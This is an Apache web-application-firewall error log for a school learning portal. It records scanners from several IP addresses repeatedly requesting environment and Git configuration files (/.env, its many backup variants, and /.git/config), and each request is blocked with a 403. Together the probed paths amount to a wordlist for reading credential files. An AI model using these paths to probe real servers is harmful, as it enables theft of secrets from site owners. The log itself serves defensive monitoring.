[Sat Dec 06 21:24:34.769395 2025] [:error] [pid 35591:tid 35604] [client 3.142.209.248:33310] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aTQukobmw-7bFvTxc9MlNQAAAQs"]
[Sat Dec 06 21:24:34.777087 2025] [:error] [pid 61215:tid 61232] [client 3.142.209.248:33370] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "aTQukuOOZ8nTCBYuI-xXiwAAAA0"]
[Sat Dec 06 21:24:35.176877 2025] [:error] [pid 61215:tid 61219] [client 3.142.209.248:33672] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "aTQuk-OOZ8nTCBYuI-xXjQAAAAA"]
[Sat Dec 06 21:24:35.904122 2025] [:error] [pid 35591:tid 35602] [client 3.142.209.248:34058] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.1"] [unique_id "aTQuk4bmw-7bFvTxc9MlNgAAAQk"]
[Sat Dec 06 21:24:36.271917 2025] [:error] [pid 35591:tid 35596] [client 3.142.209.248:34062] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.sample"] [unique_id "aTQulIbmw-7bFvTxc9MlNwAAAQM"]
[Sat Dec 06 21:24:36.474493 2025] [:error] [pid 35591:tid 35598] [client 3.142.209.248:34542] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.remote"] [unique_id "aTQulIbmw-7bFvTxc9MlOAAAAQU"]
[Sat Dec 06 21:24:36.515660 2025] [:error] [pid 1838:tid 1869] [client 3.142.209.248:34806] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.2"] [unique_id "aTQulC5zgnu67Yo7vrYoewAAApc"]
[Sat Dec 06 21:24:36.522351 2025] [:error] [pid 35591:tid 35616] [client 3.142.209.248:34808] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev.local"] [unique_id "aTQulIbmw-7bFvTxc9MlOQAAARc"]
[Sat Dec 06 21:24:36.984309 2025] [:error] [pid 61215:tid 61238] [client 3.142.209.248:34820] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod.local"] [unique_id "aTQulOOOZ8nTCBYuI-xXjgAAABM"]
[Sat Dec 06 21:24:36.987076 2025] [:error] [pid 61215:tid 61240] [client 3.142.209.248:34992] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/src/.env"] [unique_id "aTQulOOOZ8nTCBYuI-xXjwAAABU"]
[Sat Dec 06 21:24:37.973686 2025] [:error] [pid 52809:tid 52832] [client 3.142.209.248:35116] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "aTQulerRwgsmpIJQ2qaJ2wAAAhU"]
[Sat Dec 06 21:24:38.628320 2025] [:error] [pid 35591:tid 35611] [client 3.142.209.248:35394] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/backend/.env"] [unique_id "aTQulobmw-7bFvTxc9MlPAAAARI"]
[Sat Dec 06 21:24:39.028346 2025] [:error] [pid 35622:tid 35654] [client 3.142.209.248:36000] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/public/.env"] [unique_id "aTQulyOSP_9DVLgFwI7MZAAAAYM"]
[Sat Dec 06 21:24:39.213711 2025] [:error] [pid 52809:tid 52829] [client 3.142.209.248:36418] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/vendor/.env"] [unique_id "aTQul-rRwgsmpIJQ2qaJ3AAAAhI"]
[Sat Dec 06 21:24:39.768163 2025] [:error] [pid 52809:tid 52834] [client 3.142.209.248:36426] [client 3.142.209.248] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/storage/.env"] [unique_id "aTQul-rRwgsmpIJQ2qaJ3gAAAhc"]
[Sun Dec 07 13:06:24.653221 2025] [:error] [pid 25600:tid 25609] [client 185.177.72.8:49900] [client 185.177.72.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTULUIX3SVrXRURpt5IpLAAAAEI"]
[Mon Dec 08 04:38:52.129360 2025] [:error] [pid 18635:tid 18677] [client 3.23.131.53:41312] [client 3.23.131.53] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTXl3G4kCC_HamQRuE1jxAAAAEw"]
[Mon Dec 08 06:25:14.713839 2025] [:error] [pid 54705:tid 54738] [client 18.221.216.245:53594] [client 18.221.216.245] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTX-yqdUeDkxwo12SG8x3AAAAYQ"]
[Mon Dec 08 07:52:48.442326 2025] [:error] [pid 39161:tid 39223] [client 3.17.141.17:41662] [client 3.17.141.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTYTUOQBy-JdpUuZzWeneAAAAIM"]
[Mon Dec 08 10:47:22.543850 2025] [:error] [pid 39261:tid 39269] [client 13.211.60.170:49964] [client 13.211.60.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aTY8OnijlEqKrwMitDH8owAAAMQ"]
[Mon Dec 08 18:08:21.463855 2025] [:error] [pid 37840:tid 37861] [client 44.248.19.142:40688] [client 44.248.19.142] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aTajlVnJIKqlie_aHNbVUwAAAZI"]
[Tue Dec 09 01:44:58.150513 2025] [:error] [pid 57134:tid 57197] [client 3.140.254.13:41038] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aTcOmln7_Hlbg-DXKIsRwAAAAFc"], referer: https://www.google.com/
[Tue Dec 09 01:44:58.659008 2025] [:error] [pid 17587:tid 17609] [client 3.140.254.13:41066] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aTcOmpJbuGn8bV7YLq9jFgAAANE"], referer: https://www.google.com/
[Tue Dec 09 01:44:59.048884 2025] [:error] [pid 59067:tid 59095] [client 3.140.254.13:41094] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "aTcOm3StYKzcfg3q9jfBuwAAARU"], referer: https://www.google.com/
[Tue Dec 09 01:45:00.506320 2025] [:error] [pid 57134:tid 57190] [client 3.140.254.13:41108] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod"] [unique_id "aTcOnFn7_Hlbg-DXKIsRxwAAAFA"], referer: https://www.google.com/
[Tue Dec 09 01:45:01.074090 2025] [:error] [pid 17588:tid 17641] [client 3.140.254.13:41150] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "aTcOnTfolJgrovDIxbRpZQAAAJU"], referer: https://www.google.com/
[Tue Dec 09 01:45:01.634978 2025] [:error] [pid 17589:tid 17662] [client 3.140.254.13:41180] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aTcOnY3u_N_j630LWcCRDwAAAU8"], referer: https://www.google.com/
[Tue Dec 09 01:45:02.325067 2025] [:error] [pid 17589:tid 17664] [client 3.140.254.13:41214] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aTcOno3u_N_j630LWcCRFAAAAVE"], referer: https://www.google.com/
[Tue Dec 09 01:45:02.790520 2025] [:error] [pid 59067:tid 59074] [client 3.140.254.13:41242] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "aTcOnnStYKzcfg3q9jfBwAAAAQA"], referer: https://www.google.com/
[Tue Dec 09 01:45:03.277835 2025] [:error] [pid 59067:tid 59086] [client 3.140.254.13:41270] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "aTcOn3StYKzcfg3q9jfBwgAAAQw"], referer: https://www.google.com/
[Tue Dec 09 01:45:04.046667 2025] [:error] [pid 57134:tid 57183] [client 3.140.254.13:41290] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "aTcOoFn7_Hlbg-DXKIsRzAAAAEk"], referer: https://www.google.com/
[Tue Dec 09 01:45:05.041206 2025] [:error] [pid 17587:tid 17612] [client 3.140.254.13:41308] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.sample"] [unique_id "aTcOoZJbuGn8bV7YLq9jHAAAANQ"], referer: https://www.google.com/
[Tue Dec 09 01:45:05.616141 2025] [:error] [pid 17589:tid 17669] [client 3.140.254.13:41334] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "aTcOoY3u_N_j630LWcCRFwAAAVY"], referer: https://www.google.com/
[Tue Dec 09 01:45:06.080267 2025] [:error] [pid 17588:tid 17624] [client 3.140.254.13:41352] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aTcOojfolJgrovDIxbRpbQAAAIQ"], referer: https://www.google.com/
[Tue Dec 09 01:45:06.518596 2025] [:error] [pid 17589:tid 17653] [client 3.140.254.13:41386] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "aTcOoo3u_N_j630LWcCRGAAAAUY"], referer: https://www.google.com/
[Tue Dec 09 01:45:07.061526 2025] [:error] [pid 59067:tid 59084] [client 3.140.254.13:41412] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.orig"] [unique_id "aTcOo3StYKzcfg3q9jfBxwAAAQo"], referer: https://www.google.com/
[Tue Dec 09 01:45:07.724138 2025] [:error] [pid 59067:tid 59083] [client 3.140.254.13:41472] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.swp"] [unique_id "aTcOo3StYKzcfg3q9jfByAAAAQk"], referer: https://www.google.com/
[Tue Dec 09 01:45:08.732578 2025] [:error] [pid 17674:tid 17679] [client 3.140.254.13:41488] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env~"] [unique_id "aTcOpAX-np7s8gMWL-pN2AAAAAM"], referer: https://www.google.com/
[Tue Dec 09 01:45:09.150009 2025] [:error] [pid 17587:tid 17596] [client 3.140.254.13:41524] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.tmp"] [unique_id "aTcOpZJbuGn8bV7YLq9jIwAAAMQ"], referer: https://www.google.com/
[Tue Dec 09 01:45:10.140497 2025] [:error] [pid 17589:tid 17657] [client 3.140.254.13:41598] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dist"] [unique_id "aTcOpo3u_N_j630LWcCRGwAAAUo"], referer: https://www.google.com/
[Tue Dec 09 01:45:11.127877 2025] [:error] [pid 17589:tid 17656] [client 3.140.254.13:41640] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/.env"] [unique_id "aTcOp43u_N_j630LWcCRHgAAAUk"], referer: https://www.google.com/
[Tue Dec 09 01:45:11.592616 2025] [:error] [pid 17674:tid 17696] [client 3.140.254.13:41682] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/.env.save"] [unique_id "aTcOpwX-np7s8gMWL-pN3AAAABQ"], referer: https://www.google.com/
[Tue Dec 09 01:45:12.243308 2025] [:error] [pid 17674:tid 17676] [client 3.140.254.13:41718] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/.env.bak"] [unique_id "aTcOqAX-np7s8gMWL-pN3QAAAAA"], referer: https://www.google.com/
[Tue Dec 09 01:45:12.688808 2025] [:error] [pid 57134:tid 57186] [client 3.140.254.13:41746] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/.env.old"] [unique_id "aTcOqFn7_Hlbg-DXKIsR0QAAAEw"], referer: https://www.google.com/
[Tue Dec 09 01:45:13.097945 2025] [:error] [pid 17589:tid 17651] [client 3.140.254.13:41780] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env"] [unique_id "aTcOqY3u_N_j630LWcCRHwAAAUQ"], referer: https://www.google.com/
[Tue Dec 09 01:45:13.591912 2025] [:error] [pid 57134:tid 57181] [client 3.140.254.13:41802] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env.save"] [unique_id "aTcOqVn7_Hlbg-DXKIsR1AAAAEc"], referer: https://www.google.com/
[Tue Dec 09 01:45:14.101198 2025] [:error] [pid 57134:tid 57175] [client 3.140.254.13:41850] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env.bak"] [unique_id "aTcOqln7_Hlbg-DXKIsR1gAAAEE"], referer: https://www.google.com/
[Tue Dec 09 01:45:14.705059 2025] [:error] [pid 17589:tid 17671] [client 3.140.254.13:41912] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env.old"] [unique_id "aTcOqo3u_N_j630LWcCRIgAAAVg"], referer: https://www.google.com/
[Tue Dec 09 01:45:15.168026 2025] [:error] [pid 57134:tid 57188] [client 3.140.254.13:41966] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "aTcOq1n7_Hlbg-DXKIsR1wAAAE4"], referer: https://www.google.com/
[Tue Dec 09 01:45:15.624065 2025] [:error] [pid 17588:tid 17634] [client 3.140.254.13:42000] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env.save"] [unique_id "aTcOqzfolJgrovDIxbRpdQAAAI4"], referer: https://www.google.com/
[Tue Dec 09 01:45:16.242346 2025] [:error] [pid 17588:tid 17628] [client 3.140.254.13:42026] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env.bak"] [unique_id "aTcOrDfolJgrovDIxbRpdwAAAIg"], referer: https://www.google.com/
[Tue Dec 09 01:45:16.889116 2025] [:error] [pid 59067:tid 59081] [client 3.140.254.13:42068] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env.old"] [unique_id "aTcOrHStYKzcfg3q9jfBzwAAAQc"], referer: https://www.google.com/
[Tue Dec 09 01:45:17.364591 2025] [:error] [pid 57134:tid 57177] [client 3.140.254.13:42102] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/.env"] [unique_id "aTcOrVn7_Hlbg-DXKIsR2gAAAEM"], referer: https://www.google.com/
[Tue Dec 09 01:45:17.902844 2025] [:error] [pid 57134:tid 57181] [client 3.140.254.13:42136] [client 3.140.254.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/.env.save"] [unique_id "aTcOrVn7_Hlbg-DXKIsR3AAAAEc"], referer: https://www.google.com/
